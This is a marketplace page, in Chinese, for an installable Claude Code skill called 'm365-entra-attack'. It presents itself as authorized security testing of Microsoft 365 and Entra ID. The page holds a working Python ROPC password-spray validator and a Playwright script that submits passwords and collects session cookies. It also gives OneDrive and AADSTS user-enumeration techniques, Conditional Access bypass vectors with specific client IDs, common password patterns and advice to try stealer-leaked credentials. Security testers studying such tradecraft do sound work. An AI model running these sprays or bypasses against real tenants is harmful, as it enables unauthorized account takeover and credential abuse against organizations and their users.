mcpField
M
m365-entra-attack

m365-entra-attack

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 m365-entra-attack

m365-entra-attack 是用于 Microsoft 365 和 Entra ID 授权评估的安全测试技能,结合租户发现、谨慎的凭据验证和 Conditional Access 分析,并说明如何解读认证结果。

主要功能

  1. 01发现 Microsoft 365 和 Entra 租户
  2. 02解读 AADSTS 响应
  3. 03密码尝试与锁定防护
  4. 04利用 OneDrive 信号判断用户和账户类型
  5. 05分析 Conditional Access 与 SAML 流程

适用场景

  1. 01梳理企业域名关联的 Entra 租户
  2. 02在控制账户锁定风险的同时验证凭据
  3. 03识别被 MFA 或 Conditional Access 阻止的有效密码
  4. 04根据发现信号筛查可能的功能账户

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill m365-entra-attack

安装后在 Claude Code 中输入/m365-entra-attack确认已加载。

详细介绍

适用场景

在以下情况触发:

  • 目标使用 M365 / Entra ID(autodiscover.* 记录、重定向到 login.microsoftonline.com,或技术栈备注中提到“Microsoft Office 365”)
  • 你有企业邮箱列表或从窃密程序泄露的凭据
  • 参与的任务涉及“凭据喷洒”、“密码喷洒”、“Entra 攻击”或“通过 M365 实施账户接管”
  • 你在侦察中发现 *.onmicrosoft.com、*-my.sharepoint.com、enterpriseregistration.*、enterpriseenrollment.*
  • 客户提到“条件访问”、“绕过 MFA”或“合规设备”

不要用于:

  • 仅限本地部署的 Active Directory(使用单独的 AD 攻击技能)
  • 服务到服务的令牌攻击(威胁模型不同)
  • 必须通过钓鱼实施的攻击链(由钓鱼技能涵盖)——但你可以在此处为凭据验证步骤做准备

租户发现(msftrecon)

# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example

输出中的关键字段:

  • 租户 ID(不同域名可能共用同一租户,也可能各自拥有独立租户——务必测试所有自有域名)
  • Federation Information.Namespace Type = Managed(仅云端,ROPC 可用)| Federated(ADFS,攻击方式不同)
  • SharePoint Detected(Yes = 可使用 OneDrive 枚举途径)
  • Communication Services Teams/Skype(通过身份验证后的横向移动目标)
  • Admin Consent Endpoint accessible(同意钓鱼攻击面)

**风险提示:**如果组织为关联域名配置了多个 Entra 租户,那么每个租户都是独立的攻击面,各自拥有用户列表、锁定策略和 CA 配置。不要假设一次密码喷洒可以覆盖所有租户。


AADSTS 代码参考(请记住)

AADSTS含义对锁定的影响应对方式
50034用户不存在无跳过;从喷洒列表中移除
50126用户名或密码无效失败尝试计数 +1用户存在——稍后尝试其他密码(不超过上限)
50053账户已锁定(Smart Lockout)无(已锁定)先前已锁定 → 报告给 SOC;不要重试
53003CA 阻止令牌签发失败尝试计数 +1密码有效——停止,密码正确
50076需要 MFA失败尝试计数 +1密码有效——需要第二个因素
50079需要强身份验证失败尝试计数 +1密码有效——与 50076 相同
50158需要外部身份验证失败尝试计数 +1密码有效——联合身份验证 MFA
530003需要设备状态失败尝试计数 +1密码有效——需要合规设备
65001需要同意失败尝试计数 +1应用同意问题,与身份验证无关
700016应用不在租户中无用户属于其他租户——调整目标
90002租户不存在无租户名称拼写错误 / 租户已失效

关键要点:{53003, 50076, 50079, 50158, 530003} 中的任意代码都表示密码正确——Microsoft 只会在凭据验证成功后返回这些代码。即使无法获取令牌,也应将其记录为已确认有效的发现。


Smart Lockout 计算(严格控制尝试上限)

Microsoft 默认策略:

  • 10 分钟内登录失败 10 次 → 锁定 1 分钟
  • 登录失败 20 次 → 锁定时间逐步延长(指数退避)
  • 计数器在所有身份验证流程之间共享(ROPC + SAML + IMAP + EWS + SMTP + 设备代码)

任务执行规范:

  • 硬性上限:每次任务中,每位用户最多尝试 2 个密码**(整个任务期间)**(有些任务限制为 1 次)
  • 使用原子写入的状态文件——绝不能让两次测试运行同时更新计数器
  • 终止开关:如果观察到超过 N 个 LOCKED 响应,立即停止运行(这可能表明已有攻击者活动,或者你计数错误;无论哪种情况都应暂停)

数学保证:每位用户只尝试 1 次,就不可能触发 Smart Lockout(1 < 10)。因此,你看到的任何 AADSTS50053 都是此前已发生的锁定 → 可将其用于检测正在活动的攻击者(参见 mid-engagement-ir-detection 技能)。


用户枚举——途径与加固状态(2026 年 5 月)

❌ 已加固(不再存在差异)
GET /getuserrealm.srf?login=<email>&xml=1

对于任何匹配租户自有域名的电子邮件地址,均返回相同的 XML。仅限租户级别,不限用户级别。

POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}

在没有有效会话的情况下返回 AADSTS1659001(缺少 flowToken)——无法枚举。

GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1

对于任何地址,均返回相同的 200 状态码和相同的 JSON 正文。约于 2024 年加固。

✅ 仍然有效(截至 2026 年 5 月——关注有效期)

OneDrive 个人站点差异:

GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
  • 302 → 用户存在(重定向到 Authenticate.aspx,要求身份验证)
  • 404 → 用户不存在(404 FILE NOT FOUND)
  • 无需尝试身份验证 → 不影响账户锁定
  • 额外发现:现有用户的 Sprequestduration 标头更快(约 40 毫秒),而不存在的用户约为 600 毫秒——可作为辅助时序判断依据

注意事项:

  • 仅当租户已配置 SharePoint 时有效(检查 msftrecon 的 SharePoint Detected: Yes)
  • Microsoft 会持续加固这些端点——依赖此方法前请重新验证
  • Entra 中可能存在未配置 OneDrive 的用户(取决于许可证)——可能产生假阴性

2026-05-17 重新验证(授权安全评估复核): 截至 2026-05-17,OneDrive 枚举原语仍然有效。校准结果:已获许可的用户返回 HTTP 200,正文约为 57 KB;不存在的用户 / 共享邮箱账户返回 404,正文为 0 字节。不带 /_layouts/15/onedrive.aspx 的 /personal/ 根路径也会返回相同的差异。

关键用例:许可证差异 = 账户类别信号。 将 OneDrive 200/404 与 ROPC AADSTS50034/50126 交叉比对:

OneDriveROPC分类
200AADSTS50076(要求 MFA)或 50126已获许可的普通用户(真实员工,已强制实施 MFA)
200AADSTS50034(不应发生——存在不一致,请调查)
404AADSTS50126共享邮箱 / 功能账户 / 服务账户(无 OneDrive 许可证,但有密码)——历史上免于 MFA 的类别,是尝试猜测密码的首要目标
404AADSTS50034租户中不存在
404AADSTS50076边缘情况(已强制实施 MFA 的功能账户——罕见)

OneDrive-404 + ROPC-50126 组合是**“可能绕过 MFA 的功能账户”信号**——管理员经常在 CA 策略中豁免这些账户,因为它们用于无法满足 MFA 要求的自动化流程。在授权安全评估复核中发现了这一用途:识别出 noreply@、purchase@、accounts@、postmaster@、transport@ 是功能账户候选(在任何大型综合企业租户中都很常见)。

ROPC AADSTS50034 / AADSTS50126 差异:

  • AADSTS50034(用户不存在)不会增加 Smart Lockout 计数器
  • AADSTS50126(密码错误)会增加计数器
  • 因此,每个用户尝试 1 次密码喷洒,可用作粗略的用户存在性枚举器(每个 AADSTS50034 表示未命中,每个 AADSTS50126 表示命中 + 消耗 1 次尝试)

条件式访问绕过选项(大多数已被拦截,但仍记录在此)

向量状态(2026 年)说明
使用不同的 ROPC client_id(Microsoft Graph PowerShell、Azure CLI 或 Office)有时有效CA 可以按应用配置;尝试 1b730954-1685-4b74-9bfd-dac224a7b894(Graph PS)、04b07795-8ddb-461a-bbee-02f9e1bf7b46(Azure CLI)、d3590ed6-52b3-4102-aeff-aad2292ab01c(Office)
使用不同的资源(graph.microsoft.com / outlook.office.com / management.azure.com)有时有效CA 范围可以按资源配置
EWS / IMAP / POP3 / SMTP 基本身份验证大多已禁用MS 已于 2022 年 10 月弃用基本身份验证;但存在按帐户设置的例外
FOCI(客户端 ID 家族)令牌刷新路径使用一个 FOCI 客户端的刷新令牌,为另一个客户端签发令牌
设备代码钓鱼有效需要用户交互(许多测试项目的范围之外)
模拟合规设备困难需要注册 Intune 设备——成本高昂,通常没有内部人员协助就无法实现
AiTM 会话 Cookie 窃取有效(需钓鱼)当前主要技术——不在非钓鱼测试项目的范围内
FOCI + 家族刷新令牌窃取认证后需要已经持有令牌
通过不同 SP 使用 SAML SSO有时有效每个企业应用都有自己的 CA 策略;CA 较弱的应用可作为跳板
通过 VPN 绕过地理限制有时有效如果“受信任位置”CA 策略包含公司总部 IP,则使用该地的 VPN 出口节点

**本次测试的关键结论:**在采用通用 CA 策略(合规设备 + MFA)的租户中,以上所有路径都会以相同流程返回 AADSTS53003。凭据有效,但无法从外部使用。**通过钓鱼完成的 Cookie 窃取是唯一现实可行的攻击者路径。**请清晰记录这一点,以便客户了解威胁模型。


ROPC 密码验证(标准测试)

单次尝试验证器模式(Python):

import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1  # or 2 — never higher

def attempt(email, password):
    state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
    if state.get(email.lower(), 0) >= HARD_CAP:
        return {"status": "SKIPPED_CAP"}
    body = urllib.parse.urlencode({
        "resource": "https://graph.windows.net",
        "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",  # Microsoft Graph PowerShell
        "client_info": "1",
        "grant_type": "password",
        "username": email,
        "password": password,
        "scope": "openid",
    }).encode()
    state[email.lower()] = state.get(email.lower(), 0) + 1
    json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
    os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE)  # atomic
    req = urllib.request.Request(
        "https://login.microsoftonline.com/common/oauth2/token",
        data=body, method="POST",
    )
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=15)
        body = json.loads(r.read())
        # PARSE AS JSON — see CRITICAL TRAP below about substring matching
        if "access_token" in body:    # ← JSON key check, NOT substring
            return {"status": "VALID", "body": body}
        return {"status": "STATUS_200_NO_TOKEN", "body": body}
    except urllib.error.HTTPError as e:
        msg = e.read().decode(errors="ignore")
        for code, status in [
            ("AADSTS50034", "INVALID_USER"),
            ("AADSTS50126", "INVALID_PW"),
            ("AADSTS50053", "LOCKED"),
            ("AADSTS53003", "VALID_CA_BLOCK"),
            ("AADSTS50076", "VALID_MFA"),
            ("AADSTS50079", "VALID_MFA"),
        ]:
            if code in msg:
                return {"status": status, "code": code}
        return {"status": "OTHER", "msg": msg[:200]}
⚠ 严重陷阱——AADSTS50076 响应正文包含字面字符串 "access_token"

当 CA 策略要求 MFA,而 ROPC 无法满足该要求时,Entra 会返回一个错误响应正文,其中包含列出 CA 策略 ID 的 claims 字段,用作升级验证挑战:

{
  "error": "invalid_grant",
  "error_description": "AADSTS50076: ...you must use multi-factor authentication...",
  "error_codes": [50076],
  "suberror": "basic_action",
  "claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}

**"access_token" 子字符串会出现在 CA claims 挑战 JSON 中。**宽松的子字符串检查 if "access_token" in raw_body: 会将每次被 MFA 拦截的尝试都误判为成功签发令牌。

务必先解析 JSON,再检查 if "access_token" in parsed_dict:——绝不要对 OAuth 错误响应正文进行子字符串匹配。这个问题是在 2026-05-17 的授权测试复核中发现的:子字符串检查将 Sway/Yammer/Bookings/Tunnel client_id 的 7 次尝试误报为“CA 绕过”,而这些尝试实际上都正确执行了 MFA。

claims.access_token.capolids 中的值是租户内部的条件式访问策略 ID——可用于丰富侦察信息,但它们不是令牌。请在测试记录中将其记为“已触发的 CA 策略 ID”——这是防御方一侧的线索,并非攻击者一侧的成果。

请求频率:

  • 每个 IP:≤30 req/sec 即可;Microsoft 能很好地承受
  • 每个用户:状态文件中的硬上限是唯一需要关注的事项
  • 随机抖动(每次尝试间隔 1-5 秒),以降低机器操作的特征

SAML SSO 浏览器流程(当 CA 阻止 ROPC 时,用于确定性验证凭据)

当 ROPC 返回 AADSTS53003 时,就已证明密码正确。要通过两种身份验证路径证明凭据有效(并截取 Microsoft 的 CA 拦截页面作为证据),请通过 Playwright 执行 SAML SSO:

import asyncio
from playwright.async_api import async_playwright

async def saml_validate(target_sp_url, username, password, screenshot_dir):
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
        context = await browser.new_context(ignore_https_errors=True)
        page = await context.new_page()
        # Step 1: navigate to SP
        await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
        # Step 2: click sign-in (selectors vary per SP)
        for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
            try:
                await page.locator(sel).first.click(timeout=3000)
                break
            except: continue
        await page.wait_for_load_state("networkidle", timeout=20000)
        # Step 3: submit username at Microsoft
        await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
        await page.locator('input[type="submit"], #idSIButton9').first.click()
        await page.wait_for_load_state("networkidle", timeout=20000)
        # Step 4: submit password
        await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
        await page.locator('input[type="submit"], #idSIButton9').first.click()
        await page.wait_for_load_state("networkidle", timeout=30000)
        # Step 5: capture
        await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
        content = await page.content()
        cookies = await context.cookies()
        await browser.close()
        # Check outcome
        low = content.lower()
        if "convergedconditionalaccess" in low or "53003" in low:
            return "CA_BLOCKED"  # cred valid, CA wall
        elif "verify your identity" in low or "approve sign in" in low:
            return "MFA_REQUIRED"  # cred valid, MFA wall
        elif "we couldn't sign you in" in low or "wrong" in low:
            return "INVALID"
        elif "<post-auth-landing-marker>" in low or "dashboard" in low:
            return "FULL_SUCCESS"  # session obtained (replace marker per target app)
        return "UNCLEAR"

Microsoft 的 ConvergedConditionalAccess 页面(源代码中的 PageID)是 CA 拦截的确凿证据。


通过锁定差异检测活跃攻击者

如果多个用户都出现 AADSTS50053(LOCKED),即使你对每位用户的尝试上限为 1 次:

  1. 这些锁定并非由你造成(计算:1 < 10)。
  2. 外部攻击者正在主动对租户进行密码喷洒攻击。
  3. 按字母顺序排列被锁定的用户——如果呈现聚集趋势,说明攻击者使用了排序后的用户名列表。
  4. 比较密码喷洒开始和结束时的锁定数量——会话期间新增的锁定 = 攻击者此刻仍在活动。
  5. 将被锁定的电子邮件列表记录为一项发现(SOC 可据此采取行动——他们会调取这些用户的登录日志)。

这是任何 M365 密码喷洒测试中影响最大的一项附带发现。务必持续跟踪并报告。


可用于密码喷洒的常见密码模式(多品牌企业目标)

  • <BrandName>@<Year> — <Brand>@2026、Tata@2026
  • <BrandName>@123 — <Brand>@123(非常常见)
  • <PlantCity>@<Year> — <City1>@2026、<City2>@2026(生产工厂所在城市)
  • <EmployeeID-as-password> — 旧版应用中很常见(PAN 号码、员工代码、电话号码末 4 位)
  • Password@<year>、Welcome@<year>、Admin@<year> — 通用默认密码
  • <BrandName>@<Y2-digits> — <Brand>@26

**测试注意事项:**如果客户提供了泄露凭据转储(窃取日志),请优先使用这些凭据。每条泄露凭据都占用该用户的一次尝试上限,用于测试已知的最强猜测。


测试日志记录(必须执行)

每次 M365 尝试都会记录到 JSONL:

{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}

每用户跟踪器(原子操作):

{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}

IP 轮换日志(按天记录):

2026-05-08	<src-ip>	<ISP-AS>	<operator-handle>	Round 2 spray

这三项材料是报告的交付证据。它们会作为状态保留到下一次测试。


真实发现模板(来自授权测试)

用于报告:

发现:261 个 Entra 账户处于此前已存在的锁定状态

  • 对象:检测到活跃的外部密码喷洒攻击
  • 证据:将 o365_results.jsonl 筛选为 status=LOCKED
  • 计算:每用户尝试 1 次 × 261 个 LOCKED ≠ 我们造成
  • SOC 行动:调取这些账户过去 30-60 天的登录日志

发现:有效的 M365 凭据 — <user>:<password>(被 CA 阻止)

  • 对象:已确认凭据有效
  • 证据:ROPC AADSTS53003 + SAML SSO ConvergedConditionalAccess 页面截图
  • Microsoft 文档摘录:“仅在密码验证通过后才会返回 AADSTS53003”
  • 建议:强制重置密码,并在全组织范围内审查类似模式

反面做法(不要这样做)

  • 不要在多个资源上为同一用户重复使用泄露的凭据——如果 CA 阻止所有路径,这只会耗尽尝试上限,不会带来额外收益
  • 不要在出现 AADSTS50053 后重试——账户已锁定,只会再次看到锁定状态
  • 不要以超过约 30 次/秒的速率向 login.microsoftonline.com 进行密码喷洒——持续的凭据填充模式可能导致 Microsoft 标记该 IP
  • 不要忘记测试所有 Entra 租户——关联域名通常有独立的租户,密码策略也不同
  • 不要撤回 CA 阻止这一发现——AADSTS53003 表示密码正确;这正是要点

工具

pip install --break-system-packages msftrecon o365spray  # may need to clone msftrecon from GitHub
brew install pandoc                                       # for report generation
go install -v github.com/projectdiscovery/...             # PD command-line toolkit for general recon

预先构建的 m365_validator.py 模板位于测试工作目录 engagement_log/m365_validator.py。请根据测试需求调整 attempt() 函数。


验证

  1. Entra ID 端点探测 — 确认已知端点:
    curl --max-time 30 --connect-timeout 10 -s "https://login.microsoftonline.com/common/.well-known/openid-configuration" | grep -q "token_endpoint" && echo "PASS" || echo "FAIL"
    
  2. 租户发现 — 确认租户解析:
    curl --max-time 30 --connect-timeout 10 -s "https://login.microsoftonline.com/example.com/.well-known/openid-configuration" -o /dev/null -w "HTTP %{http_code}" && echo " PASS" || echo " FAIL"
    

所有测试都会验证 M365/Entra 是否就绪。


陷阱

  • 凭据喷洒时未考虑锁定机制 — Entra ID 具有智能锁定功能。不了解锁定阈值就进行喷洒,会触发账户锁定和警报。
  • 设备代码流钓鱼 — 用户必须在 microsoft.com/devicelogin 输入代码。如果没有证据表明受害者进行了交互,这就只是理论上的攻击。
  • 混淆托管域与联合域 — 托管域直接通过 Entra ID 进行身份验证;联合域则转到本地 ADFS。两者的攻击面不同。
  • 枚举来宾用户 — B2B 来宾邀请者权限可能用于枚举外部用户。应测试特定的来宾邀请者角色,而不只是任意已通过身份验证的用户。
  • OAuth 应用同意钓鱼(非法授予同意) — 用户必须在同意屏幕上点击“接受”。如果没有证据表明用户进行了同意,这就只是理论上的攻击。
  • 绕过条件访问 — 如果策略要求 MFA,请测试能否通过旧式身份验证、应用密码或基于设备的例外绕过 MFA 提示。

相关技能与攻击链

  • hunt-mfa-bypass — AADSTS50053(账户锁定)、AADSTS50126(密码错误)和 AADSTS50076(需要 MFA)可作为免费的因子存在性预言机。攻击链原语:观察到 M365 AADSTS50053 锁定差异 → 用户已启用 MFA,但旧式身份验证未受 CA 执行策略约束 → 使用 hunt-mfa-bypass 探测因子(SMS 备用验证、语音备用验证、OAuth 设备代码流、针对旧式端点的 ROPC)→ 通过旧式协议路径绕过条件访问。
  • hunt-ntlm-info — 本地 NTLM 拓扑泄露信息可为 Entra 喷洒提供线索。攻击链原语:SharePoint/Exchange/IIS 匿名 NTLM Type-2 → AV_PAIR 解码得到 corp.example.com → m365-entra-attack 通过 openid-configuration 解析 Entra 租户 → 使用真实可信的 UPN 格式进行 ROPC 喷洒。
  • okta-attack — 混合组织会将 Okta 作为 IdP 联合到 Entra。攻击链原语:M365 getuserrealm 返回指向 *.okta.com 的 NameSpaceType: Federated 和 AuthURL → 转向 okta-attack 枚举租户 → Okta 账户接管 → 向 Entra 提交 SAML 断言 → 完全访问 M365。
  • hunt-saml — 联合租户接受已签名的 SAML 断言;针对联合 IdP 的 XSW 或签名剥离可完全绕过 Entra 的控制。攻击链原语:getuserrealm 揭示联合身份验证 → 对 IdP 进行指纹识别(ADFS / Okta / PingFederate)→ 针对 IdP 的 /adfs/ls/ 或等效端点执行 hunt-saml XSW1-XSW8 → 伪造断言 → Entra 授予访问权限。
  • redteam-report-template — M365 发现需要清楚说明租户、用户和 CA 策略,因为其影响范围是“组织使用的每一项 Microsoft 服务”。攻击链原语:通过此技能验证的发现 → 使用 triage-validation 7-Question Gate 进行处理 → 通过 redteam-report-template 打包,并明确说明影响范围(哪些应用、哪些用户、哪些数据),以便交付客户。
  • password-spray-methodology — 适用于所有协议的通用密码喷洒流程 + 错误代码差异

评论

支持 Markdown